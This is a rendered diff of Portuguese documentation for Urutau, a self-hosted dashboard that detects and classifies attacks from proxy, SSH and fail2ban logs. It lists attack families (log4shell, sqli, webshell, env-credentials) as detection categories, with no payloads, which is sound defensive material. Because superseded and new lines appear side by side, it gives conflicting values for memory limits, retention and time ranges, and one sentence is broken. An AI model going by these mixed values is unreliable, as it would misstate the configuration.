Toda visão recebe um intervalo: uma das doze janelas nomeadas (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) ou um período personalizado com `from` e `to` (segundos unix, no máximo 30 dias, cortado pela retenção; `clipped` indica quando foi). Um intervalo inválido responde 400. As respostas trazem `range` como objeto `{name,from,to,step,clipped}`, em que `step` é a granularidade da linha do tempo em segundos: 60 até 3 horas, 120 até 6, 300 até 12, 900 até 48 horas e 3600 acima disso. Buckets por minuto existem para as últimas 48 horas; dados mais antigos são por hora.
## Registro de eventos
`<data-dir>/events/` guarda uma linha JSON por evento, no mesmo formato do stream ao vivo, um arquivo por dia UTC. O dia corrente recebe appends e é sincronizado a cada 2 segundos; dias anteriores são compactados com gzip. Arquivos mais antigos que a retenção são apagados, e o total é limitado por `--events-max` (512 MB por padrão, `0` desativa o registro). Um dia guarda no máximo 200.000 linhas; acima disso os eventos só são contados.
O que entra: eventos maliciosos (scanner, exploit, bruteforce, ssh-fail, ssh-probe), ban e unban, logins SSH bem-sucedidos, um 404 respondido a uma ferramenta de ataque, e respostas `ok` ou `notfound` só de endereços já suspeitos ou hostis (para mostrar o que receberam). Nunca um visitante legítimo. Eventos repassados por peers são registrados com o nome do peer como host.
Comportamento em falha: disco cheio, o teto de tamanho ou o teto diário descartam eventos (contados, registrados no log no máximo de vez em quando, nunca fatais); uma linha corrompida é ignorada na leitura; uma linha parcial deixada por uma falha anterior é terminada antes da próxima escrita.
## Inteligência
A camada de investigação é calculada a partir da tabela de IPs e do registro, sem API externa:
- **Famílias de ataque** (`traversal`, `log4shell`, `sqli`, `xss`, `rce-injection`, `webshell`, `env-credentials`, `vcs`, `backup`, `wordpress`, `phpmyadmin-db`, `actuator-debug`, `iot-cgi`, `admin-panel`, `generic-404`) e as técnicas **MITRE ATT&CK** a que correspondem.
- **Tipo de rede** a partir do ASN, da organização do AS e do DNS reverso: `vpn`, `research-scanner`, `isp-cn`, `hosting`, `mobile`, `isp/mobile`, `residential`, `unknown`, e `tor` quando o endereço está no arquivo `--tor-exits` (recarregado a cada 24 horas quando muda).
- **Cadência** das requisições de um IP: `automated`, `human-like`, `mixed` ou `insufficient` (menos de 3 requisições).
- **Sessões:** rajadas de um IP separadas por uma pausa (30 minutos por padrão), cada uma com um estágio em severidade crescente: `recon`, `probe`, `exploit`, `access`, `banned`.
- **Campanhas:** pelo menos 3 IPs cujas sessões têm a mesma assinatura (caminhos normalizados parecidos, Jaccard 0,6 ou mais, mesma ferramenta) em uma janela; o id da assinatura é `c-` mais 8 caracteres hexadecimais.
- **Exposição:** uma resposta 2xx a uma requisição em caminho sensível.
- **Veredito com razões**, cada razão um código estável com peso (`exploits_refused`, `tool_ua`, `banned_jail`, `multi_category`, `exposure`, `ssh_login_after_bruteforce`, `admin`, `immune`), e **ações recomendadas** (`block`, `report`, `investigate`, `incident`); administradores e fontes imunes não recebem nenhuma.
- Exportação **STIX 2.1** de um IP (`/api/v1/ip/{ip}/stix`), com ids UUIDv5 determinísticos.
- **Crawlers:** um User-Agent que se diz Googlebot ou Bingbot é confirmado por DNS reverso confirmado; um falso continua sendo atacante.
- Usuários SSH listados em `--admin-users` são marcados como administradores.
## Métricas
`GET /api/v1/metrics` devolve números estáveis (sem taxa por minuto), cada um com seu valor, o valor anterior e um sparkline quando se aplica:
| Métrica | Fórmula |
|---|---|
| `attacks_per_hour_24h` | eventos maliciosos nas últimas 24 h / 24 |
| `moving_avg_7d_per_hour` | eventos maliciosos nos últimos 7 dias / 168 |
| `trend` | variação percentual dos eventos maliciosos no intervalo contra o intervalo anterior do mesmo tamanho |
| `active_attackers_24h`, `_1h` | IPs atacantes vistos nas últimas 24 h, na última hora |
| `new_attackers` | IPs vistos pela primeira vez dentro do intervalo (e do intervalo anterior) |
| `returning_rate` | IPs vistos no intervalo mas vistos antes dele / todos os IPs vistos no intervalo, em percentual |
| `sessions_per_day` | sessões no intervalo / dias do intervalo (pelo menos 1) |
| `exposure_rate` | sessões que receberam resposta de sucesso / sessões, em percentual |
| `exploits_refused_pct` | requisições de exploit respondidas 4xx ou 5xx / requisições de exploit com status, em percentual |
| `mttb` | mediana e percentil 90 do tempo entre o primeiro avistamento e o ban |
| `ban_coverage` | IPs hostis banidos / IPs hostis, em percentual |
| `blocklist_coverage` | IPs hostis listáveis (endereços globais) / IPs hostis, em percentual |
| `blocklist_leak` | IPs hostis nem banidos nem listáveis (uma contagem) |
| `ssh.fails_24h`, `ssh.users_distinct`, `ssh.ok_after_fail` | falhas SSH em 24 h, usuários distintos tentados em 24 h, sessões com falha e depois login bem-sucedido |
| `concentration.top10_ips`, `top5_asns` | parcela dos eventos maliciosos dos 10 IPs mais ativos e dos 5 ASNs mais ativos, em percentual |
Sessões, exposição, exploits recusados e `ok_after_fail` precisam do registro de eventos e leem um número limitado de eventos (`truncated` indica quando a janela foi cortada).
## Estado e persistência
O estado vive em memória: buckets por minuto de 7 dias, listas de top por hora (caminhos, domínios, User-Agents, usuários), uma tabela de até 20.000 IPs (quando cheia, 10% com a menor pontuação são removidos; IPs banidos são mantidos), um feed dos últimos 500 eventos e os bans ativos. `--retention` (1h a 168h) limita quanto tempo os IPs ficam; IPs antigos são podados a cada 10 minutos.
O estado vive em memória: buckets por minuto das últimas 48 horas e dados por hora até 30 dias, listas de top por hora (caminhos, domínios, User-Agents, usuários), uma tabela de até 20.000 IPs (quando cheia, 10% com a menor pontuação são removidos; IPs banidos são mantidos), um feed dos últimos 500 eventos e os bans ativos. `--retention` (1h a 168h) limita quanto tempo os IPs ficam; IPs antigos são podados a cada 10 minutos.
A cada 60 segundos, e no desligamento, o estado é gravado em `urutau-state.gob` no diretório de dados junto com o inode e a posição de cada fonte. Na inicialização ele é restaurado e cada fonte retoma exatamente de onde parou, então um reinício nunca conta um log duas vezes. O snapshot é pulado enquanto um backfill roda. Um snapshot ilegível é movido para `urutau-state.gob.corrupt` e o serviço sobe vazio, lendo os logs de novo (incluindo as cópias rotacionadas).
O processo define um limite suave de memória de 160 MiB, a menos que `GOMEMLIMIT` esteja definido.
O processo define um limite suave de memória de 256 MiB, a menos que `GOMEMLIMIT` esteja definido. O pior caso medido é cerca de 54 MiB de heap e um snapshot de cerca de 27 MB.
## Federação
Um hub é uma instância comum iniciada com `--peer nome=https://url`, e precisa de `URUTAU_PEER_TOKEN`. A cada 15 segundos ele chama `GET /api/v1/peer/export?range=...` de cada peer (para `1h`, `24h` e `7d`) com o token de peer e guarda a última resposta. O export é `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes, em cache de 5 segundos no peer. É a única rota que o token de peer abre. O hub nunca segue redirects, exige `https` fora de loopback, usa timeout de 4 segundos, limita o corpo a 8 MB e sanitiza e limita o que um peer enviar. Um peer que falha é marcado offline e os demais seguem. O seletor de host do dashboard passa a oferecer `all`, o próprio hub e cada peer; resumos, tráfego e tabelas de IPs são mesclados, e cada linha carrega o host de origem.
Um hub é uma instância comum iniciada com `--peer nome=https://url`, e precisa de `URUTAU_PEER_TOKEN`. A cada 15 segundos ele chama `GET /api/v1/peer/export?range=...` de cada peer (para os intervalos de fundo `1h`, `24h`, `7d` e `30d`; qualquer outro intervalo ou período personalizado é buscado sob demanda) com o token de peer e guarda a última resposta. O export é `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes, em cache de 5 segundos no peer. O token de peer abre três rotas: o export, o stream ao vivo e `GET /api/v1/peer/period`, o estudo (sessões, campanhas, métricas) que o hub mescla para um período ou um IP; um peer executa no máximo dois estudos ao mesmo tempo. O hub nunca segue redirects, exige `https` fora de loopback, usa timeout de 4 segundos, limita o corpo a 8 MB e sanitiza e limita o que um peer enviar. Um peer que falha é marcado offline e os demais seguem. O seletor de host do dashboard passa a oferecer `all`, o próprio hub e cada peer; resumos, tráfego e tabelas de IPs são mesclados, e cada linha carrega o host de origem.
### Repasse ao vivo
Além do export, um hub mantém uma conexão `GET /api/v1/peer/stream` aberta por peer (uma assinatura por peer, com o token do próprio peer) e repassa os eventos maliciosos ao vivo para o dashboard. O que vem de um peer é limitado e sanitizado: no máximo cerca de 50 eventos por segundo por peer, linhas de no máximo 16 KB, um buffer dos últimos 500 eventos repassados (servido por `/api/v1/live/recent`) e reconexão com backoff de 1 s até 60 s. Um peer atende no máximo 10 conexões de stream.
### Agregação de geografia
`GET /api/v1/geo` é calculado a partir da tabela de IPs (local e os exports dos peers) combinada com as bases de geolocalização: primeiro os países e, para um país, suas regiões, cidades e principais IPs. Os resultados ficam em cache por 5 segundos, num cache de no máximo 256 chaves.
## Camada HTTP
+7 -3
View File
@@ -32,12 +32,16 @@ O token de acesso nunca é uma flag: `urutau serve` o lê da variável de ambien
| `--peer` | `URUTAU_PEERS` | nenhum | peer `nome=https://url`; repita a flag ou separe a variável por vírgula |
| `--peer-token` | `URUTAU_PEER_TOKEN` | vazio | token compartilhado com os peers; prefira a variável ou `URUTAU_PEER_TOKEN_FILE` (uma flag aparece na lista de processos). Por peer: `URUTAU_PEER_TOKEN_<NOME>` |
| `--admin-users` | `URUTAU_ADMIN_USERS` | vazio | usuários SSH cujo login bem-sucedido mantém o IP fora da blocklist por 24 h; a imunidade fica desligada se não definido |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | vazio | CIDRs de origem autorizados a chamar o export; vazio aceita qualquer origem com o token |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | vazio | CIDRs de origem autorizados a chamar as rotas de federação; vazio aceita qualquer origem com o token |
| `--peer-blocklist` | `URUTAU_PEER_BLOCKLIST` | `on` | `on` lista na blocklist do hub os IPs hostis vistos só pelos peers (pontuação 50+ e sinal forte); `off` restringe a blocklist aos IPs da própria instância |
| `--location` | `URUTAU_LOCATION` | vazio | posição desta instância no mapa, `"lat,lon"` ou `"lat,lon,Rótulo"` |
| `--trusted-proxy` | `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (o compose define `10.250.0.0/24`) | proxies cujo `X-Forwarded-For` é confiável, lido da direita para a esquerda (limite de login, `--peer-allow`) |
| `--retention` | `URUTAU_RETENTION` | `168h` | por quanto tempo os dados ficam (1h a 168h) |
| `--retention` | `URUTAU_RETENTION` | `720h` | por quanto tempo os dados ficam (1h a 720h, ou seja, 30 dias) |
| `--events-max` | `URUTAU_EVENTS_MAX` | `512MB` | teto de tamanho do registro de eventos em `<data-dir>/events`; `0` desliga |
| `--tor-exits` | `URUTAU_TOR_EXITS` | vazio | arquivo com endereços de saída do Tor, um por linha, recarregado a cada 24 h quando muda; vazio desativa |
| `--insecure-no-auth` | nenhuma | desligado | desativa a autenticação; só em bind loopback |
Validação na inicialização: peers devem ser `nome=https://host` (`http` simples só em loopback), `URUTAU_PEER_TOKEN` deve estar definido e ser diferente de `URUTAU_TOKEN`, os nomes devem ser únicos e não podem ser `all` nem o nome da própria instância, `--retention` deve ser de pelo menos 1h e `URUTAU_TOKEN` e todo token de peer devem ter pelo menos 32 caracteres e cerca de 128 bits de entropia estimada; cada peer precisa de um token de cliente (`URUTAU_PEER_TOKEN_<NOME>` ou o geral `URUTAU_PEER_TOKEN` como reserva), e os nomes de peer não podem colidir nesse nome de variável (salvo `--insecure-no-auth` em endereço loopback).
Validação na inicialização: peers devem ser `nome=https://host` (`http` simples só em loopback), `URUTAU_PEER_TOKEN` deve estar definido e ser diferente de `URUTAU_TOKEN`, os nomes devem ser únicos e não podem ser `all` nem o nome da própria instância, `--retention` deve ser de pelo menos 1h (e no máximo 720h) e `URUTAU_TOKEN` e todo token de peer devem ter pelo menos 32 caracteres e cerca de 128 bits de entropia estimada; cada peer precisa de um token de cliente (`URUTAU_PEER_TOKEN_<NOME>` ou o geral `URUTAU_PEER_TOKEN` como reserva), e os nomes de peer não podem colidir nesse nome de variável (salvo `--insecure-no-auth` em endereço loopback).
```bash
export URUTAU_TOKEN=$(openssl rand -base64 48)
+13 -5
View File
@@ -10,7 +10,7 @@ O Urutau não tem arquivo de configuração. Tudo é uma flag com padrão em var
|---|---|
| `URUTAU_TOKEN` | **Obrigatória.** Token de acesso do dashboard e da API: no mínimo 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados). Gere um com `openssl rand -base64 48` (`openssl rand -hex 32` também serve; `-hex 16` é recusado pela estimativa de entropia). |
| `URUTAU_TOKEN_FILE` | Caminho de um arquivo com o token (espaços nas pontas são removidos), no lugar da variável. A variável vence quando as duas existem. |
| `URUTAU_PEER_TOKEN` | Opcional. O token de servidor desta instância: o único que o `GET /api/v1/peer/export` dela aceita, e não abre mais nada. Mesmas regras de força do `URUTAU_TOKEN` (32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial), e deve ser diferente dele. Quando esta instância é um hub, também é o token de cliente de reserva enviado aos peers que não têm o seu. |
| `URUTAU_PEER_TOKEN` | Opcional. O token de servidor desta instância: o único que as rotas de federação dela (`GET /api/v1/peer/export` e `GET /api/v1/peer/stream`) aceitam, e não abre mais nada. Mesmas regras de força do `URUTAU_TOKEN` (32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial), e deve ser diferente dele. Quando esta instância é um hub, também é o token de cliente de reserva enviado aos peers que não têm o seu. |
| `URUTAU_PEER_TOKEN_FILE` | Caminho de um arquivo com o token de peer geral. |
| `URUTAU_PEER_TOKEN_<NOME>` e `..._<NOME>_FILE` | A credencial de cliente que um hub envia àquele peer; deve ser igual ao `URUTAU_PEER_TOKEN` do próprio peer. `<NOME>` é o nome do peer em maiúsculas, com todo caractere que não seja letra ou dígito virando `_` (`my-peer` vira `MY_PEER`). Ela **não** abre o export local. Dois nomes de peer que viram a mesma variável (`my-peer` e `my_peer`) são recusados. Um hub com um peer sem token para ele se recusa a iniciar. |
@@ -31,14 +31,18 @@ Guarde os dois no `.env` (nunca versionado) ou no cofre de segredos do seu orque
| `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | expressão regular de User-Agents de monitoramento |
| `URUTAU_GEO_DIR` | `<data-dir>/geo` | onde ficam as bases DB-IP Lite |
| `URUTAU_GEO_UPDATE` | `24h` | intervalo entre buscas por uma base mais nova; `0` desativa o download |
| `URUTAU_PEER_ALLOW` | vazio | CIDRs autorizados a chamar o export; vazio aceita qualquer origem que tenha o token |
| `URUTAU_PEER_ALLOW` | vazio | CIDRs autorizados a chamar as rotas de federação; vazio aceita qualquer origem que tenha o token |
| `URUTAU_PEER_BLOCKLIST` | `on` | `on`: a blocklist do hub inclui IPs hostis vistos só pelos peers (pontuação 50+ e sinal forte); `off`: só os IPs da própria instância |
| `URUTAU_LOCATION` | vazio | onde esta instância fica no mapa, `"lat,lon"` ou `"lat,lon,Rótulo"` (validado na partida). É o destino dos arcos da página Ao vivo e é repassado ao hub; vazio faz a página usar um destino estimado |
| `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (o compose define `10.250.0.0/24`) | proxies reversos cujo `X-Forwarded-For` é confiável (lido da direita para a esquerda); usado no limite de tentativas de login e em `URUTAU_PEER_ALLOW` |
| `URUTAU_DOMAINS` | vazio | lista de domínios permitidos no analytics, nomes exatos ou `*.exemplo.com`; vazio acompanha todo domínio que responde 2xx; recomendado, na prática obrigatório, quando algum backend responde 2xx para qualquer Host (catch-all ou wildcard), senão Hosts aleatórios podem ocupar as 24 vagas de domínio |
| `URUTAU_MONITOR_FROM` | vazio | CIDRs de onde os monitores realmente vêm; quando definido, o User-Agent de monitoramento só vale vindo deles |
| `URUTAU_ADMIN_USERS` | vazio | usuários SSH cujo login bem-sucedido mantém o IP fora da blocklist por 24 h após o último login (um sinal forte posterior anula); a imunidade fica desligada a menos que seja definido |
| `URUTAU_PEERS` | vazio | peers a agregar, `nome=https://url` separados por vírgula |
| `URUTAU_RETENTION` | `168h` | retenção como duração do Go, de `1h` a `168h` |
| `GOMEMLIMIT` | limite suave de 160 MiB | limite de memória padrão do Go; defina para sobrescrever |
| `URUTAU_RETENTION` | `720h` | retenção como duração do Go, de `1h` a `720h` (30 dias) |
| `URUTAU_EVENTS_MAX` | `512MB` | teto de tamanho do registro de eventos (`<data-dir>/events`); `0` desliga |
| `URUTAU_TOR_EXITS` | vazio | arquivo de endereços de saída do Tor, um por linha, recarregado a cada 24 h quando muda |
| `GOMEMLIMIT` | limite suave de 256 MiB | limite de memória padrão do Go; defina para sobrescrever |
| `TZ` | UTC | fuso dos timestamps do `fail2ban.log`, que não trazem fuso |
Na imagem do container os três caminhos de log têm como padrão `/logs/traefik/access.log`, `/logs/host/auth.log` e `/logs/host/fail2ban.log` (o compose monta os logs do host ali). O compose acrescenta `URUTAU_VERSION` (tag da imagem), `URUTAU_IMAGE` e `URUTAU_PUBLISH` (endereço e porta no host), veja o `.env.example`.
@@ -54,7 +58,7 @@ Na imagem do container os três caminhos de log têm como padrão `/logs/traefik
País, cidade e ASN vêm das bases DB-IP Lite (cidade e ASN), que o Urutau baixa e atualiza sozinho em `URUTAU_GEO_DIR`. Sem elas (por exemplo num host isolado da internet) o dashboard funciona e os campos geográficos ficam vazios; para operar offline, coloque os arquivos `dbip-city-lite-AAAA-MM.mmdb` e `dbip-asn-lite-AAAA-MM.mmdb` nesse diretório e defina `URUTAU_GEO_UPDATE=0`. As bases são licenciadas CC BY 4.0: mantenha a atribuição (o rodapé do dashboard e o README já a trazem).
A aba Tráfego não precisa de ajuste. `URUTAU_DOMAINS` restringe quais domínios ela acompanha (nomes exatos ou `*.exemplo.com`); um domínio só ganha vaga depois de uma resposta 2xx e domínios inativos são podados, então `Host` forjados não enchem o analytics. O top de páginas normaliza segmentos de caminho com cara de token (ids, hashes, strings aleatórias longas) para `:id`. Ela usa o log do Traefik, conta visitantes únicos por um hash com sal diário e nunca persiste o endereço IP de um visitante legítimo. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
A página Tráfego não precisa de ajuste. `URUTAU_DOMAINS` restringe quais domínios ela acompanha (nomes exatos ou `*.exemplo.com`); um domínio só ganha vaga depois de uma resposta 2xx e domínios inativos são podados, então `Host` forjados não enchem o analytics. O top de páginas normaliza segmentos de caminho com cara de token (ids, hashes, strings aleatórias longas) para `:id`. Ela usa o log do Traefik, conta visitantes únicos por um hash com sal diário e nunca persiste o endereço IP de um visitante legítimo. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
## Peers (modo hub)
@@ -69,6 +73,10 @@ Em cada peer, defina o mesmo `URUTAU_PEER_TOKEN`. O hub chama apenas `GET /api/v
O arquivo de snapshot guarda o estado agregado e as posições dos logs. Monte `URUTAU_DATA_DIR` em um volume para mantê-lo entre reinícios. Apague o arquivo para começar do zero (os logs rotacionados serão lidos de novo). A retenção limita por quanto tempo um IP fica, no máximo 168 horas; os intervalos do dashboard são `1h`, `24h` e `7d`.
## Registro de eventos
`<data-dir>/events/` guarda uma linha por evento de atacante, um arquivo por dia UTC, dias antigos compactados com gzip, apagados após `URUTAU_RETENTION`, e limitado no total por `URUTAU_EVENTS_MAX` (um número com unidade opcional, `0` desliga o registro). Nunca guarda um visitante legítimo. Ele vive no mesmo volume do snapshot, então planeje o teto além do snapshot (cerca de 27 MB no pior caso medido). Disco cheio ou o teto descartam eventos e nunca param o serviço. Veja [arquitetura.md](arquitetura.md).
## Autenticação e exposição
O bind padrão é `0.0.0.0` porque o container fica atrás de um proxy. Fora de um container, faça bind em `127.0.0.1` ou coloque um proxy reverso com TLS na frente. `--insecure-no-auth` existe só para testes locais e é recusado em binds que não sejam loopback.
+2 -2
View File
@@ -13,7 +13,7 @@ volume urutau-data ── leitura e escrita ► /data (snapshot,
O compose segue esse layout. O diretório de logs do Traefik é montado fora de `/data` para não colidir com o volume do snapshot. Só o diretório `logs` dedicado do proxy é montado, nunca o `/data/coolify/proxy` inteiro (que guarda `acme.json` e a configuração dinâmica).
A imagem roda com o usuário sem privilégios `urutau` (uid 10001) em Alpine. O `HEALTHCHECK` é o próprio binário (`urutau healthcheck`, que pergunta `/api/health` ao daemon local), então não há `curl` na imagem. O compose define `mem_limit: 256m` e `cpus: 0.5`, sistema de arquivos raiz somente leitura, `cap_drop: [ALL]` e `no-new-privileges`, e repassa do `.env` ao container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` e `TZ`. Para definir qualquer outra variável `URUTAU_*` (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, tokens por peer, ...), acrescente-a ao bloco `environment`.
A imagem roda com o usuário sem privilégios `urutau` (uid 10001) em Alpine. O `HEALTHCHECK` é o próprio binário (`urutau healthcheck`, que pergunta `/api/health` ao daemon local), então não há `curl` na imagem. O compose define um limite de memória (`mem_limit`); o limite suave do Go é 256 MiB e o pior caso medido é cerca de 54 MiB de heap mais um snapshot de cerca de 27 MB, então recomenda-se `mem_limit: 384m`. O volume de dados também guarda o registro de eventos (`/data/events`, limitado por `URUTAU_EVENTS_MAX`, 512 MB por padrão). O compose define e `cpus: 0.5`, sistema de arquivos raiz somente leitura, `cap_drop: [ALL]` e `no-new-privileges`, e repassa do `.env` ao container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` e `TZ`. Para definir qualquer outra variável `URUTAU_*` (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, tokens por peer, ...), acrescente-a ao bloco `environment`.
## Início rápido
@@ -150,7 +150,7 @@ Rode um Urutau por servidor, cada um com seu `URUTAU_NAME`. Toda instância cons
URUTAU_PEER_TOKEN_SERVER_3: ${TOKEN_FOR_SERVER_3}
```
O hub chama apenas `GET /api/v1/peer/export` em cada peer (três intervalos a cada 15 segundos) com o token daquele peer, que não abre mais nada no peer e é recusado em `http` simples fora de loopback. Defina `URUTAU_PEER_ALLOW` em um peer com o endereço do hub para restringir quem pode chamar o export. Cada peer mantém seu próprio token de login para o próprio dashboard.
O hub chama apenas `GET /api/v1/peer/export` em cada peer (três intervalos a cada 15 segundos) e mantém um `GET /api/v1/peer/stream` aberto para os eventos ao vivo, com o token daquele peer, que não abre mais nada no peer e é recusado em `http` simples fora de loopback. Defina `URUTAU_PEER_ALLOW` em um peer com o endereço do hub para restringir quem pode chamar o export. Cada peer mantém seu próprio token de login para o próprio dashboard.
## Endurecimento
+51 -17
View File
@@ -8,31 +8,53 @@ O dashboard é embutido no binário: HTML, CSS e JavaScript puros, sem etapa de
Abra o endereço da instância. Sem sessão você é enviado a `/login`: cole o `URUTAU_TOKEN`. A sessão dura 12 horas (cookie `urutau_session`, `HttpOnly`, `SameSite=Strict`) e é revogável: ela guarda um id aleatório em memória, **Sair** a revoga (e fecha o stream ao vivo dela), e um reinício do daemon invalida todas as sessões. Login e logout rejeitam requisições cross-site. Após 5 falhas do mesmo endereço (IPv6 contado por /64) em 10 minutos o login responde 429, e um token correto ainda é aceito, mas com 1 segundo de atraso, para que o limitador não tranque o dono do lado de fora. Bearer tokens errados na API também contam como falha (o endereço é o do cliente real atrás dos proxies de `--trusted-proxy`). **Sair** encerra a sessão.
<p align="center"><img src="../img/login-dark-pt.png" width="900" alt="Página de login"><br><sub>Login: cole o token de acesso.</sub></p>
## Navegação
Uma barra lateral (barra de abas no celular) reúne as páginas. Cada página abre com uma frase com o número que importa, e o recorte ativo (intervalo, host, domínio) fica sempre escrito sob o título. A página vive no hash da URL (`#/overview`, `#/threats`, `#/geo`, `#/live`, `#/replay`, `#/traffic`, `#/ips`, `#/ip/<ip>`, `#/sources`), então uma visão pode ser salva ou compartilhada; a página Geografia vai mais fundo, como em `#/geo/BR/Pernambuco/Recife` (país, estado, cidade). Um painel de detalhe do IP abre a partir de qualquer IP.
## Cabeçalho
- Um indicador ao vivo mostrando se o stream de eventos (SSE) está conectado (uma instância atende no máximo 20 clientes do stream ao mesmo tempo).
- O seletor de **host**: `all`, esta instância e cada peer de um hub.
- O seletor de **intervalo**: `1h`, `24h` ou `7d`.
- O seletor de **período**: doze intervalos (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) ou um período personalizado (`from` e `to`, no máximo 30 dias). Vale para todas as páginas.
- Botões de idioma, tema e sair.
## Aba Ameaças
## Páginas
- **KPIs:** requisições, eventos maliciosos, IPs hostis, IPs suspeitos, bans e o contador "monitoring" (requisições benignas de User-Agents de monitor, fora dos números de tráfego).
- **Linha do tempo:** contadores empilhados por categoria no intervalo escolhido.
- **IPs:** uma tabela com pontuação, nível (`hostile`, `suspicious`, `low`), categorias, hosts, DNS reverso, país, cidade e ASN, último evento e estado de ban. Tem busca (IP ou DNS reverso), filtro de nível, filtro "só banidos", ordenação por IP, pontuação ou último evento e paginação. Clique numa linha para o painel de detalhe: primeiro e último evento, contagem por categoria, caminhos de exemplo, User-Agents (interpretados em navegador, SO, dispositivo, bot ou ferramenta de ataque), domínios, usuários e jails.
- **Feed ao vivo:** os últimos eventos conforme chegam. Os campos dos logs são mostrados como texto, nunca como marcação.
- **Listas de top:** caminhos atacados, domínios, User-Agents e usuários visados.
- **Blocklist:** escolha uma pontuação mínima (padrão 50), copie a lista ou baixe. Ela só lista endereços hostis e globalmente roteáveis (nunca faixas de `--ignore` ou `--trusted`, nunca um IP com login SSH bem-sucedido); o IPv6 aparece como o /64, escrito `x:x:x:x::/64`.
- **Mapa:** um mapa-múndi dos países de origem da atividade hostil.
- **Hosts e fontes:** cada instância com seu estado (online, latência, versão) e cada fonte de log com seu estado (`following`, `waiting`, `backfill`, `error`), linhas lidas, linhas malformadas e último evento. Os caminhos dos arquivos não são mostrados.
- **Visão geral:** os números principais (requisições, eventos maliciosos, IPs hostis e suspeitos, bans, o contador "monitoring" de requisições benignas de monitores, fora dos números de tráfego), a linha do tempo e os principais IPs.
## Aba Tráfego
<p align="center"><img src="../img/overview-dark-pt.png" width="900" alt="Página Visão geral"><br><sub>Visão geral (dados de demonstração).</sub></p>
- **Ameaças:** contadores empilhados por categoria, o feed ao vivo dos últimos eventos (campos dos logs são mostrados como texto, nunca como marcação) e os principais caminhos atacados, domínios, User-Agents e usuários visados.
Web analytics amigável à privacidade para o tráfego legítimo, construído do mesmo log do Traefik e substituindo o analytics do proxy: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais e dispositivos, latência de resposta (p50 e p95), bytes enviados e um mapa-múndi dos países dos visitantes. Visitantes únicos são contados por um hash com sal diário; o IP de um visitante legítimo nunca é gravado. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
<p align="center"><img src="../img/threats-dark-pt.png" width="900" alt="Página Ameaças"><br><sub>Ameaças: categorias ao longo do tempo, KPIs e os últimos eventos.</sub></p>
- **Geografia:** um mapa-múndi por país do atacante. Selecione um país para ver seus estados ou regiões e suas cidades (desenhadas como círculos no país ampliado), as categorias e os principais IPs; selecione uma região para restringir cidades e IPs. A visão é `#/geo/<CC>/<região>`.
<p align="center"><img src="../img/geo-world-dark-pt.png" width="900" alt="Página Geografia: mapa-múndi por país do atacante"><br><sub>Geografia: o mundo por país do atacante.</sub></p>
- **Ao vivo:** ataques desenhados como arcos animados da origem até o servidor que os viu, em mapa plano ou globo 3D, com taxa, categorias, servidores, origens recentes, uma coluna de métricas e últimos eventos, filtros, pausa e tela cheia. Abre reproduzindo os últimos eventos (`/api/v1/live/recent`), então não fica parada num servidor calmo. Em um hub mostra também os eventos de cada peer. A posição de cada servidor vem de `--location`.
<p align="center"><img src="../img/live-globe-dark-pt.png" width="900" alt="Página Ao vivo no globo 3D"><br><sub>Ao vivo: globo 3D.</sub></p>
<p align="center"><img src="../img/replay-dark-pt.png" width="900" alt="Página Replay: um período reproduzido no mapa, com a lista ordenada de eventos e a linha do tempo de incidentes"><br><sub>Replay: um período reproduzido, com os incidentes na linha do tempo.</sub></p>
- **Tráfego:** web analytics amigável à privacidade para o tráfego legítimo, construído do mesmo log do Traefik: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência de resposta (p50 e p95), bytes enviados e um mapa-múndi dos países dos visitantes, por domínio. Visitantes únicos são contados por um hash com sal diário; o IP de um visitante legítimo nunca é gravado. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
<p align="center"><img src="../img/traffic-dark-pt.png" width="900" alt="Página Tráfego: web analytics dos visitantes legítimos"><br><sub>Tráfego: web analytics amigável à privacidade.</sub></p>
- **IPs:** uma tabela com pontuação, nível (`hostile`, `suspicious`, `low`), categorias, hosts, DNS reverso, país, cidade e ASN, último evento e estado de ban, com busca (IP ou DNS reverso), filtro de nível, filtro "só banidos", ordenação e paginação. O painel de detalhe mostra primeiro e último evento, contagem por categoria, caminhos de exemplo, User-Agents (interpretados em navegador, SO, dispositivo, bot ou ferramenta de ataque), domínios, usuários e jails.
<p align="center"><img src="../img/ips-dark-pt.png" width="900" alt="Página IPs: tabela de endereços com pontuação, nível, origem e estado de ban"><br><sub>IPs: cada endereço com pontuação e nível.</sub></p>
